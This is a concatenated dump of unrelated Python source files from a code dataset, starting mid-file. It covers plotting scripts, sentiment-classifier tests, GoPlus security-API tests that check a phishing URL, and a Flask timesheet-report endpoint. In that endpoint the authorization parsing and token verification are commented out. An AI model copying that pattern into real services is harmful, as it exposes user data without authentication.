np.abs(fidelity_XYXY_odd-max_counts_XYXY_odd/shots)\n min_err_IIII = np.abs(fidelity_IIII-min_counts_IIII/shots)\n max_err_IIII = np.abs(fidelity_IIII-max_counts_IIII/shots)\n \n # Plot the lines with the error bars\n axs[i].errorbar(t_XYXY, fidelity_XYXY, yerr=[min_err_XYXY, max_err_XYXY],\n linewidth=0, elinewidth=elw, capsize=cs,\n marker=mtype, markeredgewidth=medgewidth, markersize=msize, \n alpha=a, c=\"C0\",\n label=\"Even XY\")\n axs[i].errorbar(t_XYXY_odd, fidelity_XYXY_odd, yerr=[min_err_XYXY_odd, max_err_XYXY_odd],\n linewidth=0, elinewidth=elw, capsize=cs,\n marker=mtype, markeredgewidth=medgewidth, markersize=msize, \n alpha=a, c=\"C1\",\n label=\"Odd XY\")\n axs[i].errorbar(t_IIII, fidelity_IIII, yerr=[min_err_IIII, max_err_IIII],\n linewidth=0, elinewidth=elw, capsize=cs,\n marker=mtype, markeredgewidth=medgewidth, markersize=msize, \n alpha=a, c=\"C2\",\n label=\"I only\")\n \n \n # Build the data fitting lines\n \n fidelities_state = [fidelity_XYXY, fidelity_XYXY_odd, fidelity_IIII]\n \n for k in range(3):\n state_data = fidelities_state[k]\n state_times = all_wait_times[i][k]\n \n if i>1 and k==2: # For the |+> and |-> states add a damped-cosine fit.\n model = Model(cos_ramsey) # Damped-cosine fit\n model.set_param_hint('T', value=1200, min=0)\n model.set_param_hint('B', value=0.75)\n model.set_param_hint('f', value=1)\n model.set_param_hint('phi', value=0)\n fit_result = model.fit(state_data, x=state_times) \n print(i, k, fit_result.params[\"T\"], fit_result.params[\"B\"], fit_result.params[\"f\"], fit_result.params[\"phi\"])\n ploty = fit_result.best_fit\n axs[i].plot(state_times, ploty, linewidth=lw, alpha=a, c=\"C\"+str(k))\n\n model = Model(line_fit) # Linear fit\n params = model.make_params(A=10, B=0)\n fit_result = model.fit(state_data, params, x=state_times)\n print(i, k, fit_result.params[\"A\"], fit_result.params[\"B\"])\n ploty = fit_result.best_fit\n axs[i].plot(state_times, ploty, linewidth=1, alpha=a, c=\"C\"+str(k), ls=\"--\")\n\n else:\n model = Model(line_fit)\n params = model.make_params(A=1, B=0)\n fit_result = model.fit(state_data, params, x=state_times)\n print(i, k, fit_result.params[\"A\"], fit_result.params[\"B\"])\n ploty = fit_result.best_fit\n axs[i].plot(state_times, ploty, linewidth=lw, alpha=a, c=\"C\"+str(k))\n\n axs[i].legend(framealpha=0.8, fontsize=8)\n axs[i].grid(linestyle=\"--\", alpha=0.3)\n\nplt.tight_layout()\nplt.show()\n#plt.savefig(r\"lima_oddVsEvenXY_q0_8192Shots_errorbars_10Reps_15us_15steps_12082022_fit.pdf\") \n\n","repo_name":"artmenlope/master-thesis","sub_path":"in_py_format/Odd vs Even XY.py","file_name":"Odd vs Even XY.py","file_ext":"py","file_size_in_byte":25542,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"40334862151","text":"from schedule_class import Busy, Event\nfrom form_day_UI import Ui_MainWindow\nfrom PyQt5.QtWidgets import QApplication, QMainWindow\nfrom PyQt5.QtGui import QColor\n\nimport sys\n\nclass FormDay(QMainWindow, Ui_MainWindow):\n def __init__(self):\n super().__init__()\n self.setupUi(self)\n self.calendarWidget.clicked.connect(self.chooseDay)\n self.calendar = Busy()\n self.calendar.load()\n\n def chooseDay(self, d):\n self.add_events(self.calendar.get_today(d))\n\n\napp = QApplication(sys.argv)\nform = FormDay()\nform.show()\nsys.exit(app.exec_())\n\n","repo_name":"Makarenkomd/SheduleBot","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"15684380193","text":"from google.cloud import speech\nfrom google.cloud.speech import enums\nfrom google.cloud.speech import types\nimport io\n\nclass AudioRecognizer:\n\n def __init__(self):\n self.client = speech.SpeechClient()\n\n def audio_recognize(self):\n with io.open('D:\\\\workspace\\\\speech_ex\\\\speech_ex\\\\bin\\\\Debug\\\\test.raw', 'rb') as audio_file2:\n content2 = audio_file2.read()\n\n audio = types.RecognitionAudio(content=content2)\n config = types.RecognitionConfig(\n encoding=enums.RecognitionConfig.AudioEncoding.LINEAR16,\n sample_rate_hertz=8000,\n enable_word_time_offsets = True,\n language_code='ko-KR')\n\n response = self.client.recognize(config, audio)\n\n for result in response.results:\n return (u'{}'.format(result.alternatives[0].transcript))\n","repo_name":"shonsubong/VideoEditor","sub_path":"Server/audio_recognizer.py","file_name":"audio_recognizer.py","file_ext":"py","file_size_in_byte":841,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21465803357","text":"'''\nCreated on Mar 11, 2021\n\n@author: yann\n'''\n\nimport os\nfrom os.path import sep\n\nfrom classify import Classifier\nfrom file_reader import load_pickle\nfrom preprocessing import (_preprocess_twitter_samples_dataset, _preprocess_short_reviews_dataset,\n _preprocess_movie_reviews_dataset)\nimport pytest\nfrom voting_system import (WORDS_IMDB_EN_SHORT,\n WORDS_FEATURES_IMDB_EN_SHORT,\n FEATURE_SETS_IMDB_EN_SHORT,\n IMDB_NLTK_NB_EN_SHORT_REVIEWS_PICKLE,\n IMDB_MNB_BAYES_EN_SHORT_REVIEWS_PICKLE,\n IMDB_BERNOULLI_EN_SHORT_REVIEWS_PICKLE,\n IMDB_LR_EN_SHORT_REVIEWS_PICKLE,\n IMDB_SGDC_EN_SHORT_REVIEWS_PICKLE,\n IMDB_LSVC_EN_SHORT_REVIEWS_PICKLE)\nfrom voting_system import (WORDS_IMDB_FR,\n WORDS_FEATURES_IMDB_FR,\n FEATURE_SETS_IMDB_FR,\n IMDB_NLTK_NB_FR_REVIEWS_PICKLE,\n IMDB_MNB_BAYES_FR_REVIEWS_PICKLE,\n IMDB_BERNOULLI_FR_REVIEWS_PICKLE,\n IMDB_LR_FR_REVIEWS_PICKLE,\n IMDB_SGDC_FR_REVIEWS_PICKLE,\n IMDB_LSVC_FR_REVIEWS_PICKLE)\nfrom voting_system import (WORDS_TWITTER_EN,\n WORDS_FEATURES_TWITTER_EN,\n FEATURE_SETS_TWITTER_EN,\n TWITTER_NLTK_NB_EN_PICKLE,\n TWITTER_MNB_BAYES_EN_PICKLE,\n TWITTER_BERNOULLI_EN_PICKLE,\n TWITTER_LR_EN_PICKLE,\n TWITTER_SGDC_EN_PICKLE,\n TWITTER_LSVC_EN_PICKLE)\nfrom voting_system import (WORDS_TWITTER_FR,\n WORDS_FEATURES_TWITTER_FR,\n FEATURE_SETS_TWITTER_FR,\n TWITTER_NLTK_NB_FR_PICKLE,\n TWITTER_MNB_BAYES_FR_PICKLE,\n TWITTER_BERNOULLI_FR_PICKLE,\n TWITTER_LR_FR_PICKLE,\n TWITTER_SGDC_FR_PICKLE,\n TWITTER_LSVC_FR_PICKLE)\nfrom voting_system import VoteClassifier, get_imdb_short_reviews_vc, get_twitter_en_vc\n\nfiles_imdb_short = [WORDS_IMDB_EN_SHORT,\n WORDS_FEATURES_IMDB_EN_SHORT,\n FEATURE_SETS_IMDB_EN_SHORT,\n IMDB_NLTK_NB_EN_SHORT_REVIEWS_PICKLE,\n IMDB_MNB_BAYES_EN_SHORT_REVIEWS_PICKLE,\n IMDB_BERNOULLI_EN_SHORT_REVIEWS_PICKLE,\n IMDB_LR_EN_SHORT_REVIEWS_PICKLE,\n IMDB_SGDC_EN_SHORT_REVIEWS_PICKLE,\n IMDB_LSVC_EN_SHORT_REVIEWS_PICKLE]\n\nfiles_imdb_fr = [WORDS_IMDB_FR,\n WORDS_FEATURES_IMDB_FR,\n FEATURE_SETS_IMDB_FR,\n IMDB_NLTK_NB_FR_REVIEWS_PICKLE,\n IMDB_MNB_BAYES_FR_REVIEWS_PICKLE,\n IMDB_BERNOULLI_FR_REVIEWS_PICKLE,\n IMDB_LR_FR_REVIEWS_PICKLE,\n IMDB_SGDC_FR_REVIEWS_PICKLE,\n IMDB_LSVC_FR_REVIEWS_PICKLE]\n\nfiles_twitter_fr = [WORDS_TWITTER_EN,\n WORDS_FEATURES_TWITTER_EN,\n FEATURE_SETS_TWITTER_EN,\n TWITTER_NLTK_NB_EN_PICKLE,\n TWITTER_MNB_BAYES_EN_PICKLE,\n TWITTER_BERNOULLI_EN_PICKLE,\n TWITTER_LR_EN_PICKLE,\n TWITTER_SGDC_EN_PICKLE,\n TWITTER_LSVC_EN_PICKLE]\n\nfiles_twitter_en = [WORDS_TWITTER_FR,\n WORDS_FEATURES_TWITTER_FR,\n FEATURE_SETS_TWITTER_FR,\n TWITTER_NLTK_NB_FR_PICKLE,\n TWITTER_MNB_BAYES_FR_PICKLE,\n TWITTER_BERNOULLI_FR_PICKLE,\n TWITTER_LR_FR_PICKLE,\n TWITTER_SGDC_FR_PICKLE,\n TWITTER_LSVC_FR_PICKLE]\n\nos.chdir(os.getcwd())\nos.chdir(os.path.realpath('..' + sep + 'src'))\n\nfiles = files_imdb_short + files_twitter_fr + files_twitter_fr + files_twitter_en\n\n\n@pytest.mark.parametrize(\"test_file\", files)\ndef test_existence_pickles(test_file):\n try:\n load_pickle(test_file)\n except FileNotFoundError as exc:\n pytest.fail(exc)\n\n\nvc_twitter_en = VoteClassifier(\"\")\nget_twitter_en_vc(vc_twitter_en)\n\npos_sentences = [\"It was a very good movie. I loved it :)\", \"such a nice weather today!\", \"I love it\"]\n\n\n@pytest.mark.parametrize(\"sentence\", pos_sentences)\ndef test_pos_tweets_vote_classifier(sentence):\n assert vc_twitter_en.classify(sentence, pos_max_thresh=0.5, neg_max_thresh=0.5) == \"pos\"\n\n\nneg_sentences = [\"It was a very bad movie. I hated it :(\", \"such a bummer... That sucks so hard\",\n \"I hate it, thanks asshole..\"]\n\n\n@pytest.mark.parametrize(\"sentence\", neg_sentences)\ndef test_neg_tweets_vote_classifier(sentence):\n assert vc_twitter_en.classify(sentence, pos_max_thresh=1, neg_max_thresh=0) == \"neg\"\n # with those settings, anything we test should be neg\n\n\n# ## IMDB SHORT REVIEWS\nvc_imdb_en = VoteClassifier(\"\")\nget_imdb_short_reviews_vc(vc_imdb_en)\n\npos_review = [\"I loved this movie! Great acting!\", \"Incredible skills, kudos to the directors\",\n \"I love this movie it was so good! Fantastic performance! Amazing!\",\n \"I luved dis movie t'was so gud bruh\",\n \"Good movie. Great acting. Explores mundane roman animation as none has ever done.\"]\n\n\n@pytest.mark.parametrize(\"sentence\", pos_review)\ndef test_pos_review_vote_classifier(sentence):\n res = vc_imdb_en.classify(sentence, pos_max_thresh=0, neg_max_thresh=1)\n assert res == \"pos\" or res == \"neu\"\n\n\nneg_review = [\"This movie sucked. I hated it.\",\n \"This movie was pure shit\", \"Never seen anything so bad in my life\"]\n\n\n@pytest.mark.parametrize(\"sentence\", neg_review)\ndef test_neg_review_vote_classifier(sentence):\n assert vc_imdb_en.classify(sentence, pos_max_thresh=0.5, neg_max_thresh=0.5) == \"neg\"\n","repo_name":"yanntrividic/sentiment-analysis-twitter-imdb-csv","sub_path":"test/model/analysis/voting_system_test.py","file_name":"voting_system_test.py","file_ext":"py","file_size_in_byte":6142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"1424286603","text":"#! /bin/bash\n\n__author__ = 'zzj'\n'''\n题目：打印出杨辉三角形\n1 \n1 1 \n1 2 1 \n1 3 3 1 \n1 4 6 4 1 \n1 5 10 10 5 1 \n1 6 15 20 15 6 1 \n1 7 21 35 35 21 7 1 \n1 8 28 56 70 56 28 8 1 \n1 9 36 84 126 126 84 36 9 1\n'''\n\nfirst = 1\nupper = [1]\nline = [1]\nfor i in range(10):\n for item in line:\n print(item, end=' ')\n print('')\n upper_length = len(upper)\n for j in range(1, upper_length):\n line[j] = upper[j] + upper[j - 1]\n line.append(1)\n\n upper = line[:]\n\n\n################################################\nif __name__ == '__main__':\n a = []\n for i in range(10):\n a.append([])\n for j in range(10):\n a[i].append(0)\n for i in range(10):\n a[i][0] = 1\n a[i][i] = 1\n for i in range(2,10):\n for j in range(1,i):\n a[i][j] = a[i - 1][j-1] + a[i - 1][j]\n from sys import stdout\n for i in range(10):\n for j in range(i + 1):\n stdout.write(str(a[i][j]))\n stdout.write(' ')\n print\n","repo_name":"canggeng/example100","sub_path":"61.py","file_name":"61.py","file_ext":"py","file_size_in_byte":1007,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"21917817664","text":"from control3.common import *\nmdp = get_mdp(\"mjc:hopper4ball\")\nworld = mdp.world\nx0 = mdp.default_state()\nu = np.random.randn(mdp.ctrl_dim())\n\nT=5\nys,fs,dcoms,dists,kins = world.StepMulti2( np.repeat(x0[None,:],T,axis=0).astype('float64'), np.repeat(u[None,:], T, axis=0).astype('float64'), np.zeros(T,'uint8') )\nassert (ys==ys[0:1]).all() and (fs==fs[0:1]).all() and (dcoms==dcoms[0:1]).all() and (dists==dists[0:1]).all()\n\nu = np.random.randn(5,mdp.ctrl_dim())\nx = np.repeat(x0[None,:],T,axis=0).astype('float64')\nys = world.StepMulti( x, u)\nys1,_,_,_,_ = world.StepMulti2( x,u,np.zeros(T,'uint8'))\nassert (ys==ys1).all()","repo_name":"SFPD/rlreloaded","sub_path":"maintenance/tests_old/test_stepmulti2.py","file_name":"test_stepmulti2.py","file_ext":"py","file_size_in_byte":626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"37610777231","text":"import tfs\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\n\r\nBETX_FILE = '/getbetax_free.out'\r\nBETY_FILE = '/getbetay_free.out'\r\nBETX_MDL = 'BETXMDL'\r\nBETY_MDL = 'BETYMDL'\r\n\r\n#betx1 = tfs.read(\"getbetax1_free.out\", index=\"NAME\")\r\n#betx2 = tfs.read(\"getbetax2_free.out\", index=\"NAME\")\r\n#betx1.rename(columns = {'BETXMDL':'newModel'}, inplace = True)\r\n\r\n#diff_betx = betx1 - betx2\r\n#diff_betx['S'] = betx1['S']\r\n#diff_betx['BETXMDL'] = betx1['BETXMDL']\r\n#print(diff_betx)\r\n\r\ndef get_pd_diff(inref, incomp, plane):\r\n\tif(plane == 'X'):\r\n\t\tf_name = BETX_FILE\r\n\t\tm_name = BETX_MDL\r\n\t\tc_name = \"BETX\"\r\n\t\te_name = \"ERRBETX\"\r\n\telse:\r\n\t\tf_name = BETY_FILE\r\n\t\tm_name = BETY_MDL\r\n\t\tc_name = \"BETY\"\r\n\t\te_name = \"ERRBETY\"\r\n\r\n\tbet_ref = tfs.read(inref + f_name, index=\"NAME\")\r\n\tbet_comp = tfs.read(incomp + f_name, index=\"NAME\")\r\n\tdiff_bet = bet_ref - bet_comp\r\n\tdiff_bet['S'] = bet_ref['S']\r\n\tdiff_bet[m_name] = bet_ref[m_name]\r\n\tdiff_bet['err_comp'] = bet_comp[e_name]\r\n\tdiff_bet['err_ref'] = bet_ref[e_name]\r\n\tdiff_bet['errorbar'] = np.sqrt(diff_bet['err_comp']**2 + diff_bet['err_ref']**2)/diff_bet[m_name]\r\n\tdiff_bet['beat'] = diff_bet[c_name]/diff_bet[m_name]\r\n\treturn diff_bet\r\n#/user/slops/data/LHC_DATA/OP_DATA/Betabeat/2022-05-29/\r\n# 5_files_tct_symmetrical_beam1\r\n# 30cm_tct_after_nlo_seq_played_for_tct\r\n## 4_files_no_xing_no_sep_half_rf\r\n# 04-47-48_NORMALANALYSIS_SUSSIX_11_ForOptics\r\n#ref_folder = 'LHCB1/Results/5_files_tct_symmetrical_beam1/'\r\n#'LHCB1/Results/30cm_tct_after_nlo_seq_played_for_tct',\r\ncompNum = 1\r\nif compNum == 0: \r\n\tmax_min = 0.08\r\n\tref_folder = 'LHCB1/Results/30cm_5files_noXing_Ip1_ip5_but_withSeparation/'\r\n\tref_name = '28th may with pre-cycle'\r\n\tbeam = \"Beam 1\"\r\n\tcomp_folders = ['LHCB1/Results/4_files_no_xing_no_sep_half_rf'\r\n\t,'LHCB1/Results/04-47-48_NORMALANALYSIS_SUSSIX_11_ForOptics', 'LHCB1/Results/b1_shift14.5_5kicks_first_analysis']\r\n\tcomp_names = [\"Half RF\", \"No Pre-Cyle\", 'Pre-cyle 20h after']\r\n\t\r\n#01-46-22_import_B1_New_Fill_For_Coupling_Correction\r\nif compNum == 1:\r\n\tmax_min = 0.08\r\n\tref_folder = 'LHCB1/Results/01-56-56_import_15-52-52_import_03-16-23_import_b1_30cm_onmomentum_with_if/'\r\n\tref_name = '9th after Pre-cyle + De-Gauss'\r\n\tbeam = \"Beam 1\"\r\n\toutput_name = \"9th2First\"\r\n\tcomp_folders = []\r\n\tcomp_names = [\"1st June only local\" ]\r\n\tcomp_folders.append('/user/slops/data/LHC_DATA/OP_DATA/Betabeat/2022-06-01/LHCB1/Results/B1_only_local_corr_right_model/')\r\n\tstartPath = '/user/slops/data/LHC_DATA/OP_DATA/Betabeat/2022-05-29/'\t\r\n\tref_folder = startPath + ref_folder\r\n\r\nif compNum == 2:\r\n\tmax_min = 0.05\r\n\tref_folder = 'LHCB1/Results/5_files_tct_symmetrical_beam1/'\r\n\tref_name = 'TCT symmetrical'\r\n\tbeam = \"Beam 1\"\r\n\toutput_name = \"tct_movement\"\r\n\r\n\tcomp_folders = ['LHCB1/Results/30cm_tct_after_nlo_seq_played_for_tct/']\r\n\tcomp_names = [\"TCT moved with NLO seq\"]\r\n\tstartPath = '/user/slops/data/LHC_DATA/OP_DATA/Betabeat/2022-05-29/'\t\r\n\tfor i in range(0, len(comp_folders)):\r\n\t\tcomp_folders[i] = startPath + comp_folders[i]\r\n\tref_folder = startPath + ref_folder\r\n\r\n\r\nif compNum == 3:\r\n\tmax_min = 0.08\r\n\tref_folder = 'LHCB1/Results/01-46-22_import_B1_New_Fill_For_Coupling_Correction/'\r\n\tref_name = '26th (No pre-cycle)'\r\n\tbeam = \" (Beam 1)\"\r\n\toutput_name = \"ref26th_no_pre\"\r\n\tcomp_folders = ['LHCB1/Results/01-56-56_import_15-52-52_import_03-16-23_import_b1_30cm_onmomentum_with_if/', 'LHCB1/Results/4_files_no_xing_no_sep_half_rf'\r\n\t,'LHCB1/Results/04-47-48_NORMALANALYSIS_SUSSIX_11_ForOptics', 'LHCB1/Results/b1_shift14.5_5kicks_first_analysis']\r\n\tcomp_names = [\"9th after Pre-cyle + De-Gauss\", \"29th Pre-cyle + (Q1-Q4 off) + Half RF\", \"29th No Pre-Cyle\", '29th Pre-cyle + (Q1-Q4 off) + (evening) after', '1st June 12h at injection']\r\n\tstartPath = '/user/slops/data/LHC_DATA/OP_DATA/Betabeat/2022-05-29/'\t\r\n\tfor i in range(0, len(comp_folders)):\r\n\t\tcomp_folders[i] = startPath + comp_folders[i]\r\n\tcomp_folders.append('/user/slops/data/LHC_DATA/OP_DATA/Betabeat/2022-06-01/LHCB1/Results/B1_only_local_corr_right_model/')\r\n\tref_folder = startPath + ref_folder\r\nif compNum == 4:\r\n\tmax_min = 0.08\r\n\tref_folder = '/user/slops/data/LHC_DATA/OP_DATA/Betabeat/2022-05-10/LHCB1/Results/B1_30cm_on_off_momentum/'\r\n\tref_name = '10th (No pre-cycle) + global Corr'\r\n\tbeam = \" (Beam 1)\"\r\n\toutput_name = \"ref10th_no_pre_global\"\r\n\tcomp_folders = ['/user/slops/data/LHC_DATA/OP_DATA/Betabeat/2022-06-01/LHCB1/Results/B1_with_global_corr']\r\n\tcomp_names = [\"1st June 12h at injection global Corr\"]\r\n\r\n\r\n#LHCB2/Results/00-52-59_import_16-11-17_import_03-17-18_import_5kicks_30cm/ #9th May\r\n#LHCB2/Results/00-53-26_import_b2_30cm_nocorrinarcs/ #26th pre or not pre\r\n#B2_29May_IP15-xingremoved-sepin #Pre cycle\r\n#B2_29May_noprecycle_IP15-xingremoved-sepin #No Pre\r\n\r\nfor i in range(0, len(comp_folders)):\r\n\tprint(comp_folders[i])\r\n\tbetx_diff = get_pd_diff(ref_folder, comp_folders[i], 'X')\r\n\tbety_diff = get_pd_diff(ref_folder, comp_folders[i], 'Y')\r\n\r\n\tfig , (ax1,ax2) = plt.subplots(2)\r\n\tax1.set_title(\"Ref is \" + ref_name + \"\\n compared to \\n \" + comp_names[i] + \"\\n\" + beam)\r\n\tax1.errorbar(betx_diff[\"S\"],betx_diff['beat'],yerr=betx_diff['errorbar'], fmt='.k')\r\n\tax2.errorbar(bety_diff[\"S\"],bety_diff['beat'],yerr=bety_diff['errorbar'], fmt='.k')\r\n\tax1.set_ylim([-max_min, max_min])\r\n\tax2.set_ylim([-max_min, max_min])\r\n\tax2.set_xlabel(\"S [m]\")\r\n\tax1.set_ylabel(\"Horizontal\")\r\n\tax2.set_ylabel(\"Vertical\")\r\n\r\n\tplt.tight_layout()\r\n\tplt.savefig(output_name + str(i) + \".png\" )\r\n\t#plt.show()\r\n#ax1.set_xlabel(r\"$\\textrm{S [m]}$\")\r\n#ax1.set_ylabel(r\"$\\frac{\\beta_{x, OFF}-\\beta_{x, ON}}{\\beta_{x, OFF}}$\")\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"tpersson/Optics-commissioning-in-2021-and-2022","sub_path":"stability/plotDiffB1.py","file_name":"plotDiffB1.py","file_ext":"py","file_size_in_byte":5572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71731850430","text":"import unittest\n\nfrom goplus.address import Address\nfrom goplus.approve import Approve\nfrom goplus.dapp import Dapp\nfrom goplus.decode import Decode\nfrom goplus.errorcode import Code\nfrom goplus.nft import Nft\nfrom goplus.phishing_site import PushingSite\nfrom goplus.rug_pull import RugPull\nfrom goplus.token import Token\n\n\nclass TokenTest(unittest.TestCase):\n def test_token_security(self):\n res = Token().token_security(\n chain_id=\"1\", addresses=[\"0xa0b86991c6218b36c1d19d4a2e9eb0ce3606eb48\"]\n )\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n\nclass AddressTest(unittest.TestCase):\n def test_address_security(self):\n res = Address().address_security(\n address=\"0xc8b759860149542a98a3eb57c14aadf59d6d89b9\"\n )\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n\nclass ApprovalTest(unittest.TestCase):\n def test_approval_security_v1(self):\n res = Approve().approve_security_v1(\n chain_id=\"1\", address=\"0x4639cd8cd52ec1cf2e496a606ce28d8afb1c792f\"\n )\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n def test_token_approval_security(self):\n res = Approve().token_approve_security(\n chain_id=\"56\", address=\"0xd018e2b543a2669410537f96293590138cacedf3\"\n )\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n def test_erc721_approval_security(self):\n res = Approve().erc721_approve_security(\n chain_id=\"1\", address=\"0xd95dbdab08a9fed2d71ac9c3028aac40905d8cf3\"\n )\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n def test_erc1155_approval_security(self):\n res = Approve().erc1155_approve_security(\n chain_id=\"56\", address=\"0xb0dccbb9c4a65a94a41a0165aaea79c8b2fc54ce\"\n )\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n\nclass DecodeTest(unittest.TestCase):\n def test_signature_data_decode(self):\n res = Decode(access_token=None).signature_data_decode(\n chain_id=\"1\",\n address=\"0x4cc8aa0c6ffbe18534584da9b592aa438733ee66\",\n data=\"0xa0712d68000000000000000000000000\"\n \"0000000000000000000000000000000062fee481\",\n )\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n\nclass NftTest(unittest.TestCase):\n def test_nft_security(self):\n res = Nft().nft_security(\n chain_id=\"1\", address=\"0x82f5ef9ddc3d231962ba57a9c2ebb307dc8d26c2\"\n )\n self.assertIn(res.code, [Code.SUCCESS, Code.DATA_PENDING_SYNC], res.message)\n\n\nclass DappTest(unittest.TestCase):\n def test_dapp_security(self):\n res = Dapp().dapp_security(url=\"https://for.tube\")\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n\nclass PhishingSiteTest(unittest.TestCase):\n def test_phishing_site_security(self):\n res = PushingSite().pushing_site_security(url=\"https://xn--cm-68s.cc/\")\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n\nclass RugPullTest(unittest.TestCase):\n def test_rug_pull_security(self):\n res = RugPull().rug_pull_security(\n chain_id=\"1\", address=\"0x6B175474E89094C44Da98b954EedeAC495271d0F\"\n )\n self.assertEqual(res.code, Code.SUCCESS, res.message)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"GoPlusSecurity/goplus-sdk-python","sub_path":"test_goplus.py","file_name":"test_goplus.py","file_ext":"py","file_size_in_byte":3300,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"60"} +{"seq_id":"38433594367","text":"import os\nimport threading\n\nimport openpyxl\nfrom datetime import datetime\nfrom flask import send_file\nfrom flask_restx import Resource, inputs, reqparse\nfrom openpyxl.styles.borders import Border, Side\nfrom portal.helpers import delete_excel, token_decode, token_verify_or_raise\nfrom portal.models.tasks import Tasks\nfrom portal.models.timesheetentry import TimesheetEntry\nfrom werkzeug.exceptions import UnprocessableEntity\n\nfrom ... import APP\nfrom . import ns\n\nparser = reqparse.RequestParser()\n# parser.add_argument('Authorization', type=str,location='headers', required=True)\nparser.add_argument('userid', type=int,location='json', required=False)\nparser.add_argument('project', type=str,location='json', required=False)\nparser.add_argument('customer', type=str,location='json', required=False)\nparser.add_argument('fromdate', type=inputs.date_from_iso8601,location='json', required=True)\nparser.add_argument('todate', type=inputs.date_from_iso8601,location='json', required=True)\n\n\n@ns.route('/project')\nclass Get_values(Resource):\n @ns.doc(description='Generate Project Report',\n responses={200: 'OK', 400: 'Bad Request', 401: 'Unauthorized', 500: 'Internal Server Error'})\n @ns.expect(parser, validate=True)\n def get(self):\n args = parser.parse_args(strict=True)\n try:\n # y = token_decode(args['Authorization'])\n # if isinstance(y,tuple):\n # return {'error':\"Unathorized token\"}, 401\n # token_verify_or_raise(args['Authorization'])\n print(args)\n query = TimesheetEntry.query\n if args['project'] and args['customer'] is not None:\n query = query.filter(TimesheetEntry.Project == args['project'], TimesheetEntry.Customer==args['customer'])\n if args['userid'] is not None:\n query = query.filter(TimesheetEntry.UserId == args['userid'])\n query = query.filter(TimesheetEntry.WeekDate >= args['fromdate'], TimesheetEntry.WeekDate <= args['todate']).all()\n datestring = str(args['fromdate'].strftime(\"%d-%m-%Y\")) +\"_TO_\"+str(args['todate'].strftime(\"%d-%m-%Y\"))\n filename = f\"Project_Report_{datestring}_{str(datetime.now().timestamp()).replace('.','')}.xlsx\"\n file_path = os.path.abspath(os.path.join(APP.config['ROOT_DIR'],\"Templates\",\"sheets\",\"ProjectReportTemplate.xlsx\"))\n save_path = os.path.abspath(os.path.join(APP.config['ROOT_DIR'],\"Templates\",\"Temp\",filename))\n book = openpyxl.load_workbook(file_path)\n sheet = book.active\n thin_border = Border(left=Side(style='thin'), \n right=Side(style='thin'), \n top=Side(style='thin'), \n bottom=Side(style='thin'))\n row = 3\n for value in query:\n sheet.cell(row=row, column=1).value = value.Customer\n sheet.cell(row=row, column=2).value = value.Project\n sheet.cell(row=row, column=3).value = value.WeekDate\n sheet.cell(row=row, column=4).value = value.UserId\n sheet.cell(row=row, column=5).value = value.UserName\n sheet.cell(row=row, column=6).value = value.TaskName\n sheet.cell(row=row, column=7).value = value.SubTaskName\n sheet.cell(row=row, column=8).value = value.Timespent\n sheet.cell(row=row, column=9).value = value.Description\n row +=1\n # adjusting the column widths\n for col in sheet.columns:\n max_length = 0\n column = col[2].column_letter\n for cell in col:\n try: # Necessary to avoid error on empty cells\n if len(str(cell.value)) > max_length:\n max_length = len(str(cell.value))\n except:\n pass\n cell.border = thin_border\n adjusted_width = (max_length + 2) * 1.1\n sheet.column_dimensions[column].width = adjusted_width\n book.save(save_path)\n threading.Thread(target=delete_excel, args=(save_path,)).start()\n return send_file(save_path, as_attachment=filename)\n except Exception as e:\n APP.logger.exception(\"some error occurred\")\n return UnprocessableEntity('Some error occurred')\n","repo_name":"alekhyamanomay/Timesheet_Portal","sub_path":"portal/routes/reports/projects_report.py","file_name":"projects_report.py","file_ext":"py","file_size_in_byte":4491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"691888378","text":"from matplotlib import pyplot as plt\nimport numpy as np\n\nif __name__ == '__main__':\n mel0 = np.load('input/001_000_raw.npy',allow_pickle=True)[1]\n mel_rmvpe = np.load('rmvpe_mel.npy',allow_pickle=True)\n mel_fc = np.load('fc_mel.npy',allow_pickle=True)\n\n x_pm = np.arange(len(mel0))\n x_fc = np.arange(len(mel_fc))\n x_rm = np.arange(len(mel_rmvpe))\n # x_xiaoma = np.arange(len(f0_xiaoma_non_zero))\n\n # f0_pm 和 f0_rm 是两个数组，可以直接使用 matplotlib 的 plot 函数绘制折线图\n plt.plot(x_pm, mel0, label='Raw')\n plt.plot(x_fc, mel_fc, label='FC')\n plt.plot(x_rm, mel_rmvpe, label='RMVPE')\n # plt.plot(x_xiaoma, f0_xiaoma_non_zero, label='xiaoma')\n\n # 设置图表标题和坐标轴标签\n plt.title('Mel Comparison')\n plt.xlabel('Time')\n plt.ylabel('Mel')\n\n # 添加图例\n plt.legend()\n\n # 显示图表\n plt.show()\n plt.savefig('Mel_compare.png',dpi=300, bbox_inches='tight')\n","repo_name":"we4237/PE","sub_path":"compare_mel.py","file_name":"compare_mel.py","file_ext":"py","file_size_in_byte":959,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"71778133631","text":"import math\n\nDIRS = 